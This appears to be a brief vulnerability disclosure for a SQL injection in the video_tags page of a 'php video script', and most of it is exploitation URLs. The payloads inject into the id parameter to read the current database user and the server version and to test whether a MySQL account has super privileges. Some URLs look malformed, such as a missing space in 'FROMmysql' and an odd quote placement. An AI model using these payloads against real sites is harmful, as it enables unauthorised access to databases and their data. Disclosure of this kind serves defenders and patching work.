php video script SQL Injection Vulnerability

*DESCRIPTION
Discovered a vulnerability in video_tags,

vulnerability is SQL injection.

*Exploitation*

link: http://localhost:80/tag

vulnerability link: http://localhost:80/tag'

http://localhost:80/tag'/index.php?id=1 [GET][id=-1][CURRENT_USER()

http://localhost:80/tag'/index.php?id=1[GET][id=-1][SELECT(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

http://localhost:80/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)